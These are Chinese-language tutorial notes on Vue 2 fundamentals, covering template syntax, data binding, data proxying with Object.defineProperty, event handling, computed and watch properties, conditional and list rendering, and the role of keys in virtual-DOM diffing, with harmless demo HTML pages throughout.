前端-vue2核心
官网网址Vue2 安装 — Vue.js
搭建环境
第一种方式(刚开是接触Vue)
我们看官网,可以直接在script引入vue版本。这里有两个版本,开发版和生产版本。我们两个都下载。
然后创建一个项目,将下载的生产版本和开发版本粘贴进去。
在创建的初识vue中引入生产版
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>初识Vue</title><!-- 引入Vue --><script type="text/javascript" src="./js/vue.js"></script></head><body></body>
</html>
然后打开浏览器,会出现两个小提示。
如果想关掉小提示,我们可以去看学习下面的api,里面的全局配置。
然后禁用他,启动的时候就不显示启动提示了。
初识
lived server
我们先安装vscode的一个插件 lived server,他会自动将我们的文件部署在一个5500的服务器,他会自动将我们的最高级的目录作为根目录。也就是vue_basic.
我们可以在根目录下面放一张ico图片来作为浏览器的图标,他会自动访问5500下的faviicon.ico这张图片作为浏览器的图标。
Vue实例
有几个注意的点
1 引入值的插值语法后面会讲,暂时记住{{}}
2 el
属性用于指定 Vue 实例挂载的 DOM 元素。
3.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
4.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
5.root容器里的代码被称为【Vue模板】;
6.Vue实例和容器是一一对应的;
7.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
8.{{xxx}}中的xxx要写js表达式!!!!且xxx可以自动读取到data中的所有属性;
9.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>初识Vue</title><!-- 引入Vue --><script type="text/javascript" src="./js/vue.js"></script>
</head><body><div id="root"><h1>{{name}}真帅</h1></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: 'cjx'}})</script></body></html>
js表达式 和 js代码(语句)
注意区分:js表达式 和 js代码(语句)
1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1). a
(2). a+b
(3). demo(1)
(4). x === y ? 'a' : 'b'
2.js代码(语句)
(1). if(){}
(2). for(){}
Vue模板语法
Vue模板语法有2大类:
1.插值语法:
功能:用于解析标签体内容。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
2.指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式, 且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。
例子
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>模板语法</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body>--><!-- 准备好一个容器--><div id="root"><h1>插值语法</h1><h3>你好,{{name}}</h3><hr /><h1>指令语法</h1><a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a><a :href="school.url" x="hello">点我去{{school.name}}学习2</a></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: 'jack',school: {name: '尚硅谷',url: 'http://www.atguigu.com',}}})
</script></html>
数据绑定(v-model v-bind)
讲解:
Vue中有2种数据绑定的方式:
1.单向绑定(v-bind):数据只能从data流向页面。
2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
备注:
1.双向绑定一般都应用在表单类元素上(如:input、select等)
2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
例子
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>数据绑定</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><!-- 普通写法 --><!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>双向数据绑定:<input type="text" v-model:value="name"><br/> --><!-- 简写 -->单向数据绑定:<input type="text" :value="name"><br/>双向数据绑定:<input type="text" v-model="name"><br/><!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 --><!-- <h2 v-model:x="name">你好啊</h2> --></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
v-model
这个指令要注意一下几点
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
azy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
实例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>收集表单数据</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><form @submit.prevent="demo">账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>密码:<input type="password" v-model="userInfo.password"> <br/><br/>年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>爱好:学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>所属校区<select v-model="userInfo.city"><option value="">请选择校区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br/><br/>其他信息:<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><button>提交</button></form></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{userInfo:{account:'',password:'',age:18,sex:'female',hobby:[],city:'beijing',other:'',agree:''}},methods: {demo(){console.log(JSON.stringify(this.userInfo))}}})</script>
</html>
效果
el和data的两种写法
1.el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
2.data有2种写法
(1).对象式
(2).函数式
3.一个重要的原则:由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
例子
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>el与data的两种写法</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h1>你好,{{name}}</h1></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。//el的两种写法/* const v = new Vue({//el:'#root', //第一种写法data:{name:'尚硅谷'}})console.log(v)v.$mount('#root') //第二种写法 *///data的两种写法new Vue({el:'#root',//data的第一种写法:对象式/* data:{name:'尚硅谷'} *///data的第二种写法:函数式data(){console.log('@@@',this) //此处的this是Vue实例对象return{name:'尚硅谷'}}})</script>
</html>
MVVM模型
MVVM模型
1. M:模型(Model) :data中的数据
2. V:视图(View) :模板代码
3. VM:视图模型(ViewModel):Vue实例,以后Vue实例都说为vm,也就是vm的由来
观察发现:
1.data中所有的属性,最后都出现在了vm身上。
2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>理解MVVM</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h1>学校名称:{{name}}</h1><h1>学校地址:{{address}}</h1><!-- <h1>测试一下1:{{1+1}}</h1><h1>测试一下2:{{$options}}</h1><h1>测试一下3:{{$emit}}</h1><h1>测试一下4:{{_c}}</h1> --></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',address:'北京',}})console.log(vm)</script>
</html>
vm中的属性
也就是说,我们再明确一下插值语法中可用到的东西,只要是vm及原型上有的都可以用到。
我们看上面的代码里面的vm实例。里面已“$”开头的属性是Vue给予程序员使用的,“_"开头的是我们不能用的,是Vue自己用的,是原生的
我们在data中定义的数据也在vm上。数据代理我们会详细讲。
数据代理
Object.defineproperty
Object.defineProperty
是 JavaScript 中的一个方法,用于直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回该对象。它的语法如下:
Object.defineProperty(obj, prop, descriptor)
-
obj
:要在其上定义属性的对象。 -
prop
:要定义或修改的属性的名称。 -
descriptor
:将被定义或修改的属性描述符。
作用
-
定义新属性:可以为对象添加一个新属性,并指定该属性的特性(如是否可读、可写、可枚举等)。
-
修改现有属性:可以修改对象中已存在的属性的特性。
属性描述符
属性描述符有两种类型:
-
数据描述符:描述一个具有值的属性,包括以下键值:
-
value
:属性的值,默认为undefined
。 -
writable
:布尔值,表示属性值是否可以被改变,默认为false
。 -
enumerable
:布尔值,表示属性是否可枚举(即是否可以通过for...in
循环或Object.keys()
等方法被遍历到),默认为false
。 -
configurable
:布尔值,表示属性是否可以被删除或修改其描述符(除了value
和writable
),默认为false
。
-
-
访问器描述符:描述一个通过 getter 和 setter 方法访问的属性,包括以下键值:
-
get
:一个函数,当访问该属性时被调用,返回值作为属性值。 -
set
:一个函数,当设置该属性值时被调用,接收一个参数作为新值。 -
enumerable
和configurable
的含义与数据描述符相同。
-
一个对象的属性不能同时是数据描述符和访问器描述符,必须选择其中一种。
示例
定义新属性
let obj = {};
Object.defineProperty(obj, "name", {value: "Kimi",writable: false,enumerable: true,configurable: false
});
console.log(obj.name); // 输出:Kimi
obj.name = "Moonshot"; // 不会改变,因为 writable 为 false
console.log(obj.name); // 输出:Kimi
修改现有属性
let obj = { name: "Kimi" };
Object.defineProperty(obj, "name", {writable: false
});
obj.name = "Moonshot"; // 不会改变,因为 writable 已被设置为 false
console.log(obj.name); // 输出:Kimi
getter setter
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>回顾Object.defineproperty方法</title></head><body><script type="text/javascript" >let number = 18let person = {name:'张三',sex:'男',}Object.defineProperty(person,'age',{//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值get(){console.log('有人读取age属性了')return number},//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值set(value){console.log('有人修改了age属性,且值是',value)number = value}})// console.log(Object.keys(person))console.log(person)</script></body>
</html>
数据代理
数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
在下面实例中,定义了两个对象,并通过defineProperty方法为obj2添加了一个属性,并为这个x属性添加getter setter方法。
这个例子,就是通过obj2的x代理obj中x,实现通过一个对象代理对另一个对象中属性的操作(读/V写)。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>何为数据代理</title></head><body><script type="text/javascript" >let obj = {x:100}let obj2 = {y:200}Object.defineProperty(obj2,'x',{get(){return obj.x},set(value){obj.x = value}})</script></body>
</html>
Vue的数据代理
1.Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
2.Vue中数据代理的好处:更加方便的操作data中的数据
3.基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作(读/写)data中对应的属性。
例子
可以看看下面的代码,进入F12去看Vue实例里面有什么
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Vue中的数据代理</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2>学校名称:{{name}}</h2><h2>学校地址:{{address}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',address:'宏福科技园'}})</script>
</html>
vm代理对象
我们可以看到vm对象来代理data对象中属性的操作(读/写),我们定义的address和name也在vm中管理。
address和name也使用了getter和setter,当我们展开省略号去看值的时候实际上是调用两address的getter方法
事件处理
事件的基本使用(v-on)
事件的基本使用:
1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
2.事件的回调需要配置在methods对象中,最终会在vm上;
3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;并且,如果想要传参传事件本身,用$event传。
实战:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>事件的基本使用</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2>欢迎来到{{name}}学习</h2><!-- <button v-on:click="showInfo">点我提示信息</button> --><button @click="showInfo1">点我提示信息1(不传参)</button><button @click="showInfo2($event,66)">点我提示信息2(传参)</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',},methods:{showInfo1(event){// console.log(event.target.innerText)// console.log(this) //此处的this是vmalert('同学你好!')},showInfo2(event,number){console.log(event,number)// console.log(event.target.innerText)// console.log(this) //此处的this是vmalert('同学你好!!')}}})</script>
</html>
注意!!!
methods里面不做数据代理,只有data里面会默认做数据代理!!!
事件修饰符
Vue中的事件修饰符:
1.prevent:阻止默认事件(常用);
2.stop:阻止事件冒泡(常用);
3.once:事件只触发一次(常用);
4.capture:使用事件的捕获模式;允许绑定了捕获机制的元素的方法先执行
5.self:只有event.target是当前操作的元素时才触发事件;
6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
还有一点就是,修饰符号可以连着写,可以同时实现多个修饰符的功能。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>事件修饰符</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script><style>*{margin-top: 20px;}.demo1{height: 50px;background-color: skyblue;}.box1{padding: 5px;background-color: skyblue;}.box2{padding: 5px;background-color: orange;}.list{width: 200px;height: 200px;background-color: peru;overflow: auto;}li{height: 100px;}</style></head><body><!-- 准备好一个容器--><div id="root"><h2>欢迎来到{{name}}学习</h2><!-- 阻止默认事件(常用) --><a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a><!-- 阻止事件冒泡(常用) --><div class="demo1" @click="showInfo"><button @click.stop="showInfo">点我提示信息</button><!-- 修饰符可以连续写 --><!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> --></div><!-- 事件只触发一次(常用) --><button @click.once="showInfo">点我提示信息</button><!-- 使用事件的捕获模式 --><div class="box1" @click.capture="showMsg(1)">div1<div class="box2" @click="showMsg(2)">div2</div></div><!-- 只有event.target是当前操作的元素时才触发事件; --><div class="demo1" @click.self="showInfo"><button @click="showInfo">点我提示信息</button></div><!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; --><ul @wheel.passive="demo" class="list"><li>1</li><li>2</li><li>3</li><li>4</li></ul></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'},methods:{showInfo(e){alert('同学你好!')// console.log(e.target)},showMsg(msg){console.log(msg)},demo(){for (let i = 0; i < 100000; i++) {console.log('#')}console.log('累坏了')}}})</script>
</html>
键盘事件
1. 常用按键别名
Vue 提供了一些常用的按键别名,可以直接使用这些别名来绑定事件处理器。以下是一些常见的按键别名:
其中,tab因为他默认行为是将光标从当前的元素上转换,并且tab按下就会出发,所以keyup对其失效。
按键别名 | 对应按键 |
---|---|
enter | 回车键 |
delete | 删除键(包括“删除”和“退格”键) |
esc | 退出键 |
space | 空格键 |
tab | 换行键(必须配合 keydown 使用) |
up | 上箭头键 |
down | 下箭头键 |
left | 左箭头键 |
right | 右箭头键 |
2. 语法
Vue 中可以使用 v-on
或 @
来绑定键盘事件。以下是常见的语法:
绑定 keyup
事件:
<input v-on:keyup.enter="handleEnter" />
<input @keyup.enter="handleEnter" />
绑定 keydown
事件:(一般都用这个)
<input v-on:keydown.delete="handleDelete" />
<input @keydown.delete="handleDelete" />
3. 未提供别名的按键
对于 Vue 未提供别名的按键,可以使用按键原始的 key
值去绑定,但需要注意将 key
值转换为 kebab-case(短横线命名)。
例如,绑定 F1
键(key
值为 "F1"
):
<input @keydown.f1="handleF1" />
4. 系统修饰键
Vue 提供了 ctrl
、alt
、shift
和 meta
等系统修饰键的别名。这些修饰键的用法如下:
配合 keyup
使用: 按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
<input @keyup.ctrl="handleCtrlEnter" />
配合 keydown
使用: 正常触发事件。
<input @keydown.ctrl="handleCtrlEnter" />
5. 使用 keyCode
虽然 Vue 推荐使用按键别名,但也可以使用 keyCode
去指定具体的按键(不推荐,因为 keyCode
已被废弃)。
例如,绑定 F1
键(keyCode
为 112
):
<input @keydown="handleKeydown" />
methods: {handleKeydown(event) {if (event.keyCode === 112) {this.handleF1();}}
}
6. 自定义按键别名
可以通过 Vue.config.keyCodes
自定义按键别名。
计算属性
完整写法
就是拿着已经得到的属性去进行加工 去计算 得到一个新的属性 这就是计算属性
1.定义:要用的属性不存在,要通过已有属性计算得来。
2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
3.get函数什么时候执行?
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可。
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_计算属性实现</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root">姓:<input type="text" v-model="firstName"> <br/><br/>名:<input type="text" v-model="lastName"> <br/><br/>测试:<input type="text" v-model="x"> <br/><br/>全名:<span>{{fullName}}</span> <br/><br/><!-- 全名:<span>{{fullName}}</span> <br/><br/>全名:<span>{{fullName}}</span> <br/><br/>全名:<span>{{fullName}}</span> --></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{firstName:'张',lastName:'三',},methods: {},computed:{fullName:{get(){console.log('get被调用了')// console.log(this) //此处的this是vmreturn this.firstName + '-' + this.lastName},//set什么时候调用? 当fullName被修改时。set(value){console.log('set',value)const arr = value.split('-')this.firstName = arr[0]this.lastName = arr[1]}}}})</script>
</html>
简写
简写的时候。默认是没有setter方法的,只有getter方法。所以函数是给vm调用用来计算fullName属性的。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_计算属性实现</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root">姓:<input type="text" v-model="firstName"> <br/><br/>名:<input type="text" v-model="lastName"> <br/><br/>全名:<span>{{fullName}}</span> <br/><br/></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{firstName:'张',lastName:'三',},computed:{//完整写法/* fullName:{get(){console.log('get被调用了')return this.firstName + '-' + this.lastName},set(value){console.log('set',value)const arr = value.split('-')this.firstName = arr[0]this.lastName = arr[1]}} *///简写fullName(){console.log('get被调用了')return this.firstName + '-' + this.lastName}}})</script>
</html>
监视属性
原始完整实现
监视属性watch:
1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
2.监视的属性必须存在,才能进行监视!!
3.监视的两种写法:
(1).new Vue时传入watch配置
(2).通过vm.$watch监视
watch配置1:immediate=true 代表 初始化时让handler调用一下
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例_监视属性</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎热' : '凉爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},/* watch:{isHot:{immediate:true, //初始化时让handler调用一下//handler什么时候调用?当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}} */})vm.$watch('isHot',{immediate:true, //初始化时让handler调用一下//handler什么时候调用?当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}})</script>
</html>
深度监视
深度监视:
(1).Vue中的watch默认不监测对象内部值的改变(一层)。
(2).配置deep:true可以监测对象内部值改变(多层)。
备注:
(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
watch配置2:eep:true可以监测对象内部值改变(多层)
可以监视里面的一个元素,也可以监视里面的所有元素
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例_深度监视</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button><hr/><h3>a的值是:{{numbers.a}}</h3><button @click="numbers.a++">点我让a+1</button><h3>b的值是:{{numbers.b}}</h3><button @click="numbers.b++">点我让b+1</button><button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>{{numbers.c.d.e}}</div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,numbers:{a:1,b:1,c:{d:{e:100}}}},computed:{info(){return this.isHot ? '炎热' : '凉爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},watch:{isHot:{// immediate:true, //初始化时让handler调用一下//handler什么时候调用?当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}},//监视多级结构中某个属性的变化/* 'numbers.a':{handler(){console.log('a被改变了')}} *///监视多级结构中所有属性的变化numbers:{deep:true,handler(){console.log('numbers改变了')}}}})</script>
</html>
监视简写
语法:
new Vue({data: {count: 0},watch: {count(newVal, oldVal) {console.log(`Count changed from ${oldVal} to ${newVal}`);}}
});
具体案例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天气案例_监视属性_简写</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el: '#root',data: {isHot: true,},computed: {info() {return this.isHot ? '炎热' : '凉爽'}},methods: {changeWeather() {this.isHot = !this.isHot}},watch: {//正常写法/* isHot:{// immediate:true, //初始化时让handler调用一下// deep:true,//深度监视handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}, *///简写isHot(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue,this)} }})//正常写法/* vm.$watch('isHot',{immediate:true, //初始化时让handler调用一下deep:true,//深度监视handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}) *///简写// vm.$watch('isHot', (newValue, oldValue) => {// console.log('isHot被修改了', newValue, oldValue, this)// })
</script></html>
效果:
条件渲染(v-if和v-show)
教学
在 Vue.js 中,v-if
和 v-show
都是用于控制元素的显示和隐藏的指令,但它们在实现方式和性能表现上有一些区别。以下是它们的详细介绍和对比。
1. v-if
作用
v-if
是一个动态指令,用于条件性地渲染一块内容。它根据表达式的真假值来决定是否渲染对应的元素。
语法
<div v-if="isVisible">This will be rendered if isVisible is true.</div>
特点
-
动态渲染:当表达式的值为
false
时,对应的元素不会被渲染到 DOM 中。 -
性能开销:由于
v-if
会根据条件动态地创建或销毁元素,因此在切换时会有一定的性能开销。 -
适合场景:当条件很少改变时,使用
v-if
更合适,因为它可以减少不必要的 DOM 操作。
2. v-show
作用
v-show
也是一个动态指令,用于条件性地显示或隐藏元素。它通过设置元素的 CSS 属性 display
来控制显示和隐藏。
语法
<div v-show="isVisible">This will be shown or hidden based on isVisible.</div>
特点
-
CSS 控制:
v-show
只是简单地切换元素的display
属性,不会影响 DOM 的结构。 -
性能优势:由于
v-show
不会创建或销毁元素,因此在频繁切换时性能更好。 -
适合场景:当需要频繁切换元素的显示和隐藏时,使用
v-show
更合适。
3. v-if
和 v-show
的对比
特性 | v-if | v-show |
---|---|---|
渲染方式 | 动态渲染,根据条件决定是否渲染到 DOM | 始终渲染到 DOM,通过 CSS 的 display 属性控制显示和隐藏 |
性能开销 | 切换时有性能开销,因为需要创建或销毁元素 | 切换时性能更好,因为只是切换 CSS 属性 |
适合场景 | 条件很少改变,不需要频繁切换显示和隐藏 | 需要频繁切换显示和隐藏 |
初始渲染 | 如果初始值为 false ,则不会渲染到 DOM | 始终渲染到 DOM,初始值为 false 时会隐藏 |
4. v-if扩展
同时还有
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”,就是说if和elseif或者else中间不能出现其他东西,if的语句必须连在一起。
案例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>条件渲染</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button><!-- 使用v-show做条件渲染 --><!-- <h2 v-show="false">欢迎来到{{name}}</h2> --><!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> --><!-- 使用v-if做条件渲染 --><!-- <h2 v-if="false">欢迎来到{{name}}</h2> --><!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> --><!-- v-else和v-else-if --><!-- <div v-if="n === 1">Angular</div><div v-else-if="n === 2">React</div><div v-else-if="n === 3">Vue</div><div v-else>哈哈</div> --><!-- v-if与template的配合使用 --><template v-if="n === 1"><h2>你好</h2><h2>尚硅谷</h2><h2>北京</h2></template></div></body><script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{name:'尚硅谷',n:0}})</script>
</html>
列表渲染
基本列表
v-for指令:
1.用于展示列表数据
2.语法:v-for="(item, index) in xxx" :key="yyy"
3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
案例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>基本列表</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><!-- 遍历数组 --><h2>人员列表(遍历数组)</h2><ul><li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li></ul><!-- 遍历对象 --><h2>汽车信息(遍历对象)</h2><ul><li v-for="(value,k) of car" :key="k">{{k}}-{{value}}</li></ul><!-- 遍历字符串 --><h2>测试遍历字符串(用得少)</h2><ul><li v-for="(char,index) of str" :key="index">{{char}}-{{index}}</li></ul><!-- 遍历指定次数 --><h2>测试遍历指定次数(用得少)</h2><ul><li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li></ul></div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{persons:[{id:'001',name:'张三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],car:{name:'奥迪A8',price:'70万',color:'黑色'},str:'hello'}})</script>
</html>
效果:
key原理
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key创建新的真实DOM,随后渲染到到页面。
3. 用index作为key可能会引发的问题:
1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示用index作为key是没有问题的。
使用index的图解
1. 初始数据和虚拟 DOM
-
初始数据:包含多个对象的数组,每个对象都有
id
、name
和age
属性。 -
虚拟 DOM 生成:Vue 根据初始数据先生成虚拟 DOM(Vnodes),每个列表项的
key
是其在数组中的索引。
2. 新数据和虚拟 DOM
-
新数据:新数据中插入了一个新元素(
老刘
) -
新虚拟 DOM 生成:Vue 根据新数据生成新的虚拟 DOM,每个列表项的
key
仍然是其在数组中的索引。
3. 新数据渲染
新数据和虚拟 DOM:
新数据中插入了一个新对象(老刘
),并删除了旧数据中的一个对象(王五
)。
新虚拟 DOM 中,老刘
的 key
是 0,而旧数据中的 张三
的 key
变成了 1,李四
的 key
变成了 2,王五
的 key
变成了 3。
虚拟 DOM 对比:
Vue 会将新虚拟 DOM 和旧虚拟 DOM 进行对比。
由于 key
是索引,Vue 认为索引相同的位置可以复用 DOM 元素。
例如,新虚拟 DOM 中 老刘
的 key
是 0,旧虚拟 DOM 中 张三
的 key
也是 0,那么会继续比较比较后面的数据。先比较第一部分,发现老刘和张三 不一样 然后老刘就会新渲染成DOM。然后比较第二个部分input拦。发现input的虚拟的DOM是一样的,那么就会复用真实的DOM里面的input拦,所以带有张三的input拦被复用在了老刘后面。之后的数据就以此类推,所以出现input错位。
使用id的图解
这个和上面的思路是一样的,但是因为这里的key是正确的,所以可以被正确渲染和复用
内置指令
之前提及过的指令 总结一下:
